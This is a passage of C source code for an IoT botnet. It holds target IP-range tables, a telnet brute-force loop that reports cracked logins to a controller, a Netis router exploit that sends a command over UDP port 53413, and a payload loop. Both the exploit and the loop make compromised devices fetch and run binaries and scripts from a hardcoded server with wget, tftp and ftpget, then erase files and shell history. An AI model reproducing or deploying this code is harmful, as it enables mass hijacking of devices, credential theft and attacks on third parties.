  949. {
  950. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  951. }
  952. if(randnum == 83)
  953. {
  954. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  955. }
  956. if(randnum == 84)
  957. {
  958. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  959. }
  960. if(randnum == 85)
  961. {
  962. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  963. }
  964. if(randnum == 86)
  965. {
  966. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  967. }
  968. if(randnum == 87)
  969. {
  970. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  971. }
  972. if(randnum == 88)
  973. {
  974. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  975. }
  976. if(randnum == 89)
  977. {
  978. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  979. }
  980. if(randnum == 90)
  981. {
  982. szprintf(ip, "45.121.%d.%d", ipState[3], ipState[4]);
  983. }
  984. if(randnum == 91)
  985. {
  986. szprintf(ip, "45.120.%d.%d", ipState[3], ipState[4]);
  987. }
  988. if(randnum == 92)
  989. {
  990. szprintf(ip, "45.115.%d.%d", ipState[3], ipState[4]);
  991. }
  992. if(randnum == 93)
  993. {
  994. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  995. }
  996. if(randnum == 94)
  997. {
  998. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  999. }
  1000. if(randnum == 95)
  1001. {
  1002. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  1003. }
  1004. if(randnum == 96)
  1005. {
  1006. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  1007. }
  1008. if(randnum == 97)
  1009. {
  1010. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  1011. }
  1012. if(randnum == 98)
  1013. {
  1014. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  1015. }
  1016. if(randnum == 99)
  1017. {
  1018. szprintf(ip, "78.188.%d.%d", ipState[3], ipState[4]);
  1019. }
  1020. if(randnum == 100)
  1021. {
  1022. szprintf(ip, "45.127.%d.%d", ipState[3], ipState[4]);
  1023. }
  1024. if(randnum == 101)
  1025. {
  1026. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  1027. }
  1028. if(randnum == 102)
  1029. {
  1030. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  1031. }
  1032. if(randnum == 103)
  1033. {
  1034. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  1035. }
  1036. if(randnum == 104)
  1037. {
  1038. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  1039. }
  1040. if(randnum == 105)
  1041. {
  1042. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  1043. }
  1044. if(randnum == 106)
  1045. {
  1046. szprintf(ip, "91.83.%d.%d", ipState[3], ipState[4]);
  1047. }
  1048. if(randnum == 107)
  1049. {
  1050. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  1051. }
  1052. if(randnum == 108)
  1053. {
  1054. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1055. }
  1056. if(randnum == 109)
  1057. {
  1058. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  1059. }
  1060. if(randnum == 110)
  1061. {
  1062. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  1063. }
  1064. if(randnum == 111)
  1065. {
  1066. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  1067. }
  1068. if(randnum == 112)
  1069. {
  1070. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  1071. }
  1072. if(randnum == 113)
  1073. {
  1074. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  1075. }
  1076. if(randnum == 114)
  1077. {
  1078. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1079. }
  1080. if(randnum == 115)
  1081. {
  1082. szprintf(ip, "116.71.%d.%d", ipState[3], ipState[4]);
  1083. }
  1084. if(randnum == 116)
  1085. {
  1086. szprintf(ip, "103.44.%d.%d", ipState[3], ipState[4]);
  1087. }
  1088. if(randnum == 117)
  1089. {
  1090. szprintf(ip, "110.235.%d.%d", ipState[3], ipState[4]);
  1091. }
  1092. if(randnum == 118)
  1093. {
  1094. szprintf(ip, "124.253.%d.%d", ipState[3], ipState[4]);
  1095. }
  1096. if(randnum == 119)
  1097. {
  1098. szprintf(ip, "211.237.%d.%d", ipState[3], ipState[4]);
  1099. }
  1100. if(randnum == 120)
  1101. {
  1102. szprintf(ip, "117.175.%d.%d", ipState[3], ipState[4]);
  1103. }
  1104. if(randnum == 121)
  1105. {
  1106. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1107. }
  1108. if(randnum == 122)
  1109. {
  1110. szprintf(ip, "178.93.%d.%d", ipState[3], ipState[4]);
  1111. }
  1112. if(randnum == 123)
  1113. {
  1114. szprintf(ip, "111.9.%d.%d", ipState[3], ipState[4]);
  1115. }
  1116. if(randnum == 124)
  1117. {
  1118. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1119. }
  1120. if(randnum == 125)
  1121. {
  1122. szprintf(ip, "113.174.%d.%d", ipState[3], ipState[4]);
  1123. }
  1124. if(randnum == 126)
  1125. {
  1126. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1127. }
  1128. if(randnum == 127)
  1129. {
  1130. szprintf(ip, "113.160.%d.%d", ipState[3], ipState[4]);
  1131. }
  1132. if(randnum == 128)
  1133. {
  1134. szprintf(ip, "113.161.%d.%d", ipState[3], ipState[4]);
  1135. }
  1136. if(randnum == 129)
  1137. {
  1138. szprintf(ip, "113.162.%d.%d", ipState[3], ipState[4]);
  1139. }
  1140. if(randnum == 130)
  1141. {
  1142. szprintf(ip, "113.163.%d.%d", ipState[3], ipState[4]);
  1143. }
  1144. if(randnum == 131)
  1145. {
  1146. szprintf(ip, "113.164.%d.%d", ipState[3], ipState[4]);
  1147. }
  1148. if(randnum == 132)
  1149. {
  1150. szprintf(ip, "113.165.%d.%d", ipState[3], ipState[4]);
  1151. }
  1152. if(randnum == 133)
  1153. {
  1154. szprintf(ip, "113.166.%d.%d", ipState[3], ipState[4]);
  1155. }
  1156. if(randnum == 134)
  1157. {
  1158. szprintf(ip, "113.167.%d.%d", ipState[3], ipState[4]);
  1159. }
  1160. if(randnum == 135)
  1161. {
  1162. szprintf(ip, "113.168.%d.%d", ipState[3], ipState[4]);
  1163. }
  1164. if(randnum == 136)
  1165. {
  1166. szprintf(ip, "113.169.%d.%d", ipState[3], ipState[4]);
  1167. }
  1168. if(randnum == 137)
  1169. {
  1170. szprintf(ip, "123.17.%d.%d", ipState[3], ipState[4]);
  1171. }
  1172. if(randnum == 138)
  1173. {
  1174. szprintf(ip, "123.18.%d.%d", ipState[3], ipState[4]);
  1175. }
  1176. if(randnum == 139)
  1177. {
  1178. szprintf(ip, "123.19.%d.%d", ipState[3], ipState[4]);
  1179. }
  1180. if(randnum == 140)
  1181. {
  1182. szprintf(ip, "123.20.%d.%d", ipState[3], ipState[4]);
  1183. }
  1184. if(randnum == 141)
  1185. {
  1186. szprintf(ip, "123.21.%d.%d", ipState[3], ipState[4]);
  1187. }
  1188. if(randnum == 142)
  1189. {
  1190. szprintf(ip, "123.22.%d.%d", ipState[3], ipState[4]);
  1191. }
  1192. if(randnum == 143)
  1193. {
  1194. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1195. }
  1196. if(randnum == 144)
  1197. {
  1198. szprintf(ip, "222.253.%d.%d", ipState[3], ipState[4]);
  1199. }
  1200. if(randnum == 145)
  1201. {
  1202. szprintf(ip, "222.254.%d.%d", ipState[3], ipState[4]);
  1203. }
  1204. if(randnum == 146)
  1205. {
  1206. szprintf(ip, "222.255.%d.%d", ipState[3], ipState[4]);
  1207. }
  1208. if(randnum == 147)
  1209. {
  1210. szprintf(ip, "37.247.%d.%d", ipState[3], ipState[4]);
  1211. }
  1212. if(randnum == 148)
  1213. {
  1214. szprintf(ip, "41.208.%d.%d", ipState[3], ipState[4]);
  1215. }
  1216. if(randnum == 149)
  1217. {
  1218. szprintf(ip, "183.220.%d.%d", ipState[3], ipState[4]);
  1219. }
  1220. if(randnum == 150)
  1221. {
  1222. szprintf(ip, "175.201.%d.%d", ipState[3], ipState[4]);
  1223. }
  1224. if(randnum == 151)
  1225. {
  1226. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1227. }
  1228. if(randnum == 152)
  1229. {
  1230. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1231. }
  1232. if(randnum == 153)
  1233. {
  1234. szprintf(ip, "50.205.%d.%d", ipState[3], ipState[4]);
  1235. }
  1236. if(randnum == 154)
  1237. {
  1238. szprintf(ip, "88.248.%d.%d", ipState[3], ipState[4]);
  1239. }
  1240. if(randnum == 155)
  1241. {
  1242. szprintf(ip, "88.105.%d.%d", ipState[3], ipState[4]);
  1243. }
  1244. if(randnum == 156)
  1245. {
  1246. szprintf(ip, "88.247.%d.%d", ipState[3], ipState[4]);
  1247. }
  1248. if(randnum == 157)
  1249. {
  1250. szprintf(ip, "85.105.%d.%d", ipState[3], ipState[4]);
  1251. }
  1252. if(randnum == 158)
  1253. {
  1254. szprintf(ip, "188.3.%d.%d", ipState[3], ipState[4]);
  1255. }
  1256. if(randnum == 159)
  1257. {
  1258. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1259. }
  1260. if(randnum == 160)
  1261. {
  1262. szprintf(ip, "103.55.%d.%d", ipState[3], ipState[4]);
  1263. }
  1264. if(randnum == 161)
  1265. {
  1266. szprintf(ip, "103.220.%d.%d", ipState[3], ipState[4]);
  1267. }
  1268. if(randnum == 162)
  1269. {
  1270. szprintf(ip, "183.233.%d.%d", ipState[3], ipState[4]);
  1271. }
  1272. if(randnum == 163)
  1273. {
  1274. szprintf(ip, "103.242.%d.%d", ipState[3], ipState[4]);
  1275. }
  1276. if(randnum == 164)
  1277. {
  1278. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1279. }
  1280. if(randnum == 165)
  1281. {
  1282. szprintf(ip, "103.14.%d.%d", ipState[3], ipState[4]);
  1283. }
  1284. if(randnum == 166)
  1285. {
  1286. szprintf(ip, "103.195.%d.%d", ipState[3], ipState[4]);
  1287. }
  1288. if(randnum == 167)
  1289. {
  1290. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1291. }
  1292. if(randnum == 168)
  1293. {
  1294. szprintf(ip, "103.214.%d.%d", ipState[3], ipState[4]);
  1295. }
  1296. if(randnum == 169)
  1297. {
  1298. szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
  1299. }
  1300. if(randnum == 171)
  1301. {
  1302. szprintf(ip, "103.225.%d.%d", ipState[3], ipState[4]);
  1303. }
  1304. if(randnum == 172)
  1305. {
  1306. szprintf(ip, "103.228.%d.%d", ipState[3], ipState[4]);
  1307. }
  1308. if(randnum == 173)
  1309. {
  1310. szprintf(ip, "103.231.%d.%d", ipState[3], ipState[4]);
  1311. }
  1312. if(randnum == 174)
  1313. {
  1314. szprintf(ip, "103.60.%d.%d", ipState[3], ipState[4]);
  1315. }
  1316. if(randnum == 175)
  1317. {
  1318. szprintf(ip, "103.248.%d.%d", ipState[3], ipState[4]);
  1319. }
  1320. if(randnum == 176)
  1321. {
  1322. szprintf(ip, "103.253.%d.%d", ipState[3], ipState[4]);
  1323. }
  1324. if(randnum == 177)
  1325. {
  1326. szprintf(ip, "103.255.%d.%d", ipState[3], ipState[4]);
  1327. }
  1328. if(randnum == 178)
  1329. {
  1330. szprintf(ip, "103.35.%d.%d", ipState[3], ipState[4]);
  1331. }
  1332. if(randnum == 179)
  1333. {
  1334. szprintf(ip, "103.49.%d.%d", ipState[3], ipState[4]);
  1335. }
  1336. if(randnum == 180)
  1337. {
  1338. szprintf(ip, "103.62.%d.%d", ipState[3], ipState[4]);
  1339. }
  1340. if(randnum == 181)
  1341. {
  1342. szprintf(ip, "144.48.%d.%d", ipState[3], ipState[4]);
  1343. }
  1344. if(randnum == 182)
  1345. {
  1346. szprintf(ip, "163.47.%d.%d", ipState[3], ipState[4]);
  1347. }
  1348. if(randnum == 183)
  1349. {
  1350. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  1351. }
  1352. if(randnum == 184)
  1353. {
  1354. szprintf(ip, "223.29.%d.%d", ipState[3], ipState[4]);
  1355. }
  1356. if(randnum == 185)
  1357. {
  1358. szprintf(ip, "59.153.%d.%d", ipState[3], ipState[4]);
  1359. }
  1360. if(randnum == 186)
  1361. {
  1362. szprintf(ip, "113.176.%d.%d", ipState[3], ipState[4]);
  1363. }
  1364. if(randnum == 187)
  1365. {
  1366. szprintf(ip, "113.175.%d.%d", ipState[3], ipState[4]);
  1367. }
  1368. if(randnum == 188)
  1369. {
  1370. szprintf(ip, "113.177.%d.%d", ipState[3], ipState[4]);
  1371. }
  1372. if(randnum == 189)
  1373. {
  1374. szprintf(ip, "113.183.%d.%d", ipState[3], ipState[4]);
  1375. }
  1376. if(randnum == 190)
  1377. {
  1378. szprintf(ip, "202.164.%d.%d", ipState[3], ipState[4]);
  1379. }
  1380. if(randnum == 191)
  1381. {
  1382. szprintf(ip, "203.134.%d.%d", ipState[3], ipState[4]);
  1383. }
  1384. if(randnum == 192)
  1385. {
  1386. szprintf(ip, "210.56.%d.%d", ipState[3], ipState[4]);
  1387. }
  1388. if(randnum == 193)
  1389. {
  1390. szprintf(ip, "49.156.%d.%d", ipState[3], ipState[4]);
  1391. }
  1392. if(randnum == 194)
  1393. {
  1394. szprintf(ip, "203.210.%d.%d", ipState[3], ipState[4]);
  1395. }
  1396. if(randnum == 195)
  1397. {
  1398. szprintf(ip, "117.181.%d.%d", ipState[3], ipState[4]);
  1399. }
  1400. if(randnum == 196)
  1401. {
  1402. szprintf(ip, "117.178.%d.%d", ipState[3], ipState[4]);
  1403. }
  1404. if(randnum == 197)
  1405. {
  1406. szprintf(ip, "117.177.%d.%d", ipState[3], ipState[4]);
  1407. }
  1408. if(randnum == 198)
  1409. {
  1410. szprintf(ip, "117.176.%d.%d", ipState[3], ipState[4]);
  1411. }
  1412. if(randnum == 199)
  1413. {
  1414. szprintf(ip, "117.170.%d.%d", ipState[3], ipState[4]);
  1415. }
  1416. if(randnum == 200)
  1417. {
  1418. szprintf(ip, "117.171.%d.%d", ipState[3], ipState[4]);
  1419. }
  1420. if(randnum == 201)
  1421. {
  1422. szprintf(ip, "117.162.%d.%d", ipState[3], ipState[4]);
  1423. }
  1424. if(randnum == 201)
  1425. {
  1426. szprintf(ip, "112.26.%d.%d", ipState[3], ipState[4]);
  1427. }
  1428. if(randnum == 202)
  1429. {
  1430. szprintf(ip, "112.27.%d.%d", ipState[3], ipState[4]);
  1431. }
  1432. if(randnum == 203)
  1433. {
  1434. szprintf(ip, "112.28.%d.%d", ipState[3], ipState[4]);
  1435. }
  1436. if(randnum == 204)
  1437. {
  1438. szprintf(ip, "112.29.%d.%d", ipState[3], ipState[4]);
  1439. }
  1440. if(randnum == 205)
  1441. {
  1442. szprintf(ip, "112.30.%d.%d", ipState[3], ipState[4]);
  1443. }
  1444. if(randnum == 206)
  1445. {
  1446. szprintf(ip, "112.31.%d.%d", ipState[3], ipState[4]);
  1447. }
  1448. if(randnum == 207)
  1449. {
  1450. szprintf(ip, "203.150.%d.%d", ipState[3], ipState[4]);
  1451. }
  1452. if(randnum == 208)
  1453. {
  1454. szprintf(ip, "50.233.%d.%d", ipState[3], ipState[4]);
  1455. }
  1456.  
  1457. return inet_addr(ip);
  1458. }
  1459.  
  1460. int Dickranges[] = {110,111,112,113,114,115,116,117,118,119,223,1,103,203,202,122,39,123,124,125,128,131,132,138,14,140,141,148,151,162.163,167,14,103,105,183,168,171,2,198,191,41,42,43,37,201,200,80,81,82,83,84,85,86,87,88,89,90};
  1461. in_addr_t NetisRanges()
  1462. {
  1463. int range = rand() % (sizeof(Dickranges)/sizeof(char *));
  1464. ipState[1] = Dickranges[range];
  1465. ipState[2] = rand() % 255;
  1466. ipState[3] = rand() % 255;
  1467. ipState[4] = rand() % 255;
  1468. char ip[16] = {0};
  1469. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1470. return inet_addr(ip);
  1471. }
  1472. in_addr_t HackerScan(in_addr_t netmask)
  1473. {
  1474. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1475. return tmp ^ ( rand_cmwc() & ~netmask);
  1476. }
  1477. unsigned short csum (unsigned short *buf, int count)
  1478. {
  1479. register uint64_t sum = 0;
  1480. while( count > 1 ) { sum += *buf++; count -= 2; }
  1481. if(count > 0) { sum += *(unsigned char *)buf; }
  1482. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1483. return (uint16_t)(~sum);
  1484. }
  1485. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  1486. {
  1487. struct tcp_pseudo
  1488. {
  1489. unsigned long src_addr;
  1490. unsigned long dst_addr;
  1491. unsigned char zero;
  1492. unsigned char proto;
  1493. unsigned short length;
  1494. } pseudohead;
  1495. unsigned short total_len = iph->tot_len;
  1496. pseudohead.src_addr=iph->saddr;
  1497. pseudohead.dst_addr=iph->daddr;
  1498. pseudohead.zero=0;
  1499. pseudohead.proto=IPPROTO_TCP;
  1500. pseudohead.length=htons(sizeof(struct tcphdr));
  1501. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1502. unsigned short *tcp = malloc(totaltcp_len);
  1503. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1504. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1505. unsigned short output = csum(tcp,totaltcp_len);
  1506. free(tcp);
  1507. return output;
  1508. }
  1509. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1510. {
  1511. iph->ihl = 5;
  1512. iph->version = 4;
  1513. iph->tos = 0;
  1514. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1515. iph->id = rand_cmwc();
  1516. iph->frag_off = 0;
  1517. iph->ttl = MAXTTL;
  1518. iph->protocol = protocol;
  1519. iph->check = 0;
  1520. iph->saddr = source;
  1521. iph->daddr = dest;
  1522. }
  1523. int sclose(int fd)
  1524. {
  1525. if(3 > fd) return 1;
  1526. close(fd);
  1527. return 0;
  1528. }
  1529. struct telstate_t
  1530. {
  1531. int fd;
  1532. unsigned int ip;
  1533. unsigned char state;
  1534. unsigned char complete;
  1535. unsigned char usernameInd;
  1536. unsigned char passwordInd;
  1537. unsigned char tempDirInd;
  1538. unsigned int totalTimeout;
  1539. unsigned short bufUsed;
  1540. char *sockbuf;
  1541. };
  1542. const char* get_telstate_host(struct telstate_t* telstate)
  1543. {
  1544. struct in_addr in_addr_ip;
  1545. in_addr_ip.s_addr = telstate->ip;
  1546. return inet_ntoa(in_addr_ip);
  1547. }
  1548. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  1549. {
  1550. int num_bytes, i;
  1551. memset(buffer, 0, buf_size);
  1552. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  1553. if(buffer[0] == 0xFF)
  1554. {
  1555. negotiate(fd, buffer, 3);
  1556. }
  1557. if(contains_string(buffer, strings))
  1558. {
  1559. return 1;
  1560. }
  1561. return 0;
  1562. }
  1563. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  1564. {
  1565. fd_set read_set;
  1566. struct timeval tv;
  1567. tv.tv_sec = 0;
  1568. tv.tv_usec = timeout_usec;
  1569. FD_ZERO(&read_set);
  1570. FD_SET(fd, &read_set);
  1571. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  1572. return 0;
  1573. return recv(fd, buffer, buf_size, 0);
  1574. }
  1575. int contains_success(char* buffer)
  1576. {
  1577. return contains_string(buffer, successes);
  1578. }
  1579. int contains_fail(char* buffer)
  1580. {
  1581. return contains_string(buffer, fails);
  1582. }
  1583. int contains_string(char* buffer, char** strings)
  1584. {
  1585. int num_strings = 0, i = 0;
  1586. for(num_strings = 0; strings[++num_strings] != 0; );
  1587. for(i = 0; i < num_strings; i++)
  1588. {
  1589. if(strcasestr(buffer, strings[i]))
  1590. {
  1591. return 1;
  1592. }
  1593. }
  1594. return 0;
  1595. }
  1596. //major improvments done by Jonah
  1597. void StartTheLelz() {
  1598. int i, res, j;
  1599. char buf[128], cur_dir;
  1600. int wait_usec = 10;
  1601. int maxfds = 1000;
  1602. int max = maxfds;
  1603. fd_set fdset;
  1604. struct timeval tv;
  1605. socklen_t lon;
  1606. int valopt;
  1607. srand(time(NULL) ^ rand_cmwc());
  1608. char line[256];
  1609. char* buffer;
  1610. struct sockaddr_in dest_addr;
  1611. dest_addr.sin_family = AF_INET;
  1612. dest_addr.sin_port = htons(23);
  1613. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1614. buffer = malloc(BUFFER_SIZE + 1);
  1615. memset(buffer, 0, BUFFER_SIZE + 1);
  1616. struct telstate_t fds[max];
  1617. memset(fds, 0, max * (sizeof(int) + 1));
  1618. for(i = 0; i < max; i++) {
  1619. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1620. fds[i].complete = 1;
  1621. fds[i].sockbuf = buffer; }
  1622. while(1) {
  1623. for(i = 0; i < max; i++) {
  1624. if(fds[i].totalTimeout == 0) {
  1625. fds[i].totalTimeout = time(NULL); }
  1626. switch(fds[i].state) {
  1627. case 0: {
  1628. if(fds[i].complete == 1) {
  1629. char *tmp = fds[i].sockbuf;
  1630. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1631. fds[i].sockbuf = tmp;
  1632. fds[i].ip = HackerScan2(); }
  1633. else if(fds[i].complete == 0) {
  1634. fds[i].passwordInd++;
  1635. fds[i].usernameInd++;
  1636. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  1637. fds[i].complete = 1;
  1638. continue; }
  1639. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  1640. fds[i].complete = 1;
  1641. continue;
  1642. }
  1643. }
  1644. dest_addr.sin_family = AF_INET;
  1645. dest_addr.sin_port = htons(23);
  1646. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1647. dest_addr.sin_addr.s_addr = fds[i].ip;
  1648. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1649. if(fds[i].fd == -1) continue;
  1650. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1651. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  1652. sclose(fds[i].fd);
  1653. fds[i].complete = 1; }
  1654. else {
  1655. fds[i].state = 1;
  1656. fds[i].totalTimeout = 0;
  1657. }
  1658. }
  1659. break;
  1660. case 1:
  1661. {
  1662. FD_ZERO(&fdset);
  1663. FD_SET(fds[i].fd, &fdset);
  1664. tv.tv_sec = 0;
  1665. tv.tv_usec = wait_usec;
  1666. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1667. if(res == 1) {
  1668. lon = sizeof(int);
  1669. valopt = 0;
  1670. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1671. if(valopt) {
  1672. sclose(fds[i].fd);
  1673. fds[i].state = 0;
  1674. fds[i].complete = 1;
  1675. } else {
  1676. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1677. fds[i].totalTimeout = 0;
  1678. fds[i].bufUsed = 0;
  1679. memset(fds[i].sockbuf, 0, 1024);
  1680. fds[i].state = 2;
  1681. } continue; }
  1682. else if(res == -1) {
  1683. sclose(fds[i].fd);
  1684. fds[i].state = 0;
  1685. fds[i].complete = 1;
  1686. continue; }
  1687. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1688. sclose(fds[i].fd);
  1689. fds[i].state = 0;
  1690. fds[i].complete = 1;
  1691. }
  1692. }
  1693. break;
  1694. case 2:
  1695. {
  1696. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
  1697. if(contains_fail(fds[i].sockbuf)) {
  1698. fds[i].state = 0;
  1699. } else {
  1700. fds[i].state = 3; }
  1701. continue; }
  1702. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1703. fds[i].state = 0;
  1704. fds[i].complete = 1;
  1705. }
  1706. }
  1707. break;
  1708. case 3: {
  1709. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  1710. fds[i].state = 0;
  1711. fds[i].complete = 1;
  1712. continue; }
  1713. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1714. fds[i].state = 0;
  1715. fds[i].complete = 1;
  1716. continue; }
  1717. fds[i].state = 4; }
  1718. break;
  1719. case 4:
  1720. {
  1721. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1722. {
  1723. if(contains_fail(fds[i].sockbuf)) {
  1724. fds[i].state = 0;
  1725. } else {
  1726. fds[i].state = 5; }
  1727. continue; }
  1728. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1729. fds[i].state = 0;
  1730. fds[i].complete = 1;
  1731. }
  1732. }
  1733. break;
  1734. case 5:
  1735. {
  1736. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  1737. fds[i].state = 0;
  1738. fds[i].complete = 1;
  1739. continue; }
  1740. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1741. fds[i].state = 0;
  1742. fds[i].complete = 1;
  1743. continue; }
  1744. fds[i].state = 6;
  1745. }
  1746. break;
  1747. case 6:
  1748. {
  1749. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {
  1750. fds[i].totalTimeout = time(NULL);
  1751. if(contains_fail(fds[i].sockbuf)) {
  1752. fds[i].state = 0; }
  1753. else if(contains_success(fds[i].sockbuf)) {
  1754. if(fds[i].complete == 2) {
  1755. fds[i].state = 7; }
  1756. else {
  1757. HackerPrint(D1ckSucka, "\x1b[0;31mSuccessfully Bruteforced IP: \x1b[0;33m%s | \x1b[0;31mUsername: \x1b[0;33m%s | \x1b[0;31mPassword: \x1b[0;33m%s\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1758. HackerPrint(D1ckSucka, "REPORT %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1759. fds[i].state = 7; }
  1760. } else {
  1761. fds[i].state = 0;
  1762. fds[i].complete = 1;
  1763. } continue; }
  1764. if(fds[i].totalTimeout + 7 < time(NULL)) {
  1765. fds[i].state = 0;
  1766. fds[i].complete = 1;
  1767. }
  1768. }
  1769. break;
  1770. case 7:
  1771. {
  1772. fds[i].totalTimeout = time(NULL);
  1773. if(send(fds[i].fd, hvgsgd, strlen(hvgsgd), MSG_NOSIGNAL) < 0) {
  1774. sclose(fds[i].fd);
  1775. fds[i].state = 0;
  1776. fds[i].complete = 1;
  1777. continue; }
  1778. fds[i].complete = 3;
  1779. if(fds[i].totalTimeout + 60 < time(NULL)) {
  1780. if(fds[i].complete !=3){
  1781. }
  1782. fds[i].state = 0;
  1783. fds[i].complete = 1;
  1784. }
  1785. break;
  1786. }
  1787. }
  1788. }
  1789. }
  1790. }
  1791. void StartTheNetis()
  1792. {
  1793. while(1){
  1794. char payload2[1024];
  1795. int clientSocket, portNum, nBytes;
  1796. struct sockaddr_in serverAddr;
  1797. socklen_t addr_size;
  1798. clientSocket = socket(PF_INET, SOCK_DGRAM, 0);
  1799. uint32_t ip;
  1800. ip = NetisRanges();
  1801. serverAddr.sin_family = AF_INET;
  1802. serverAddr.sin_port = htons(53413);
  1803. serverAddr.sin_addr.s_addr = ip;
  1804. memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);
  1805. addr_size = sizeof serverAddr;
  1806. sprintf(payload2, "%s cd /var/; rm -rf dickponies2; wget http://94.177.170.85/dickponies2 || tftp -r dickponies2 -g 94.177.170.85; chmod 777 dickponies2; ./dickponies2; rm -rf dickponies2\x00", NETIS);
  1807. sendto(clientSocket,payload2,strlen(payload2),0,(struct sockaddr *)&serverAddr,addr_size);
  1808. }
  1809. }
  1810. //LOOPING PAYLOAD LOL IDFK WHY
  1811. void LoopPayload(){
  1812. int i;
  1813. for(i = 0; i < 9; i++){
  1814. system("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.177.170.85/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 94.177.170.85 -c get tcumfort1.sh; chmod 777 tcumfort1.sh; sh tcumfort1.sh; tftp -r tcumfort2.sh -g 94.177.170.85; chmod 777 tcumfort2.sh; sh tcumfort2.sh; ftpget -v -u anonymous -p anonymous -P 21 94.177.170.85 pony123.sh pony123.sh; sh pony123.sh; rm -rf bins.sh tcumfort1.sh tcumfort2.sh pony123.sh; rm -rf *;history -c\r\n");
  1815. return;
  1816. }
  1817. sleep(5);
  1818. }
  1819. //botkill
  1820. void botkiller(){
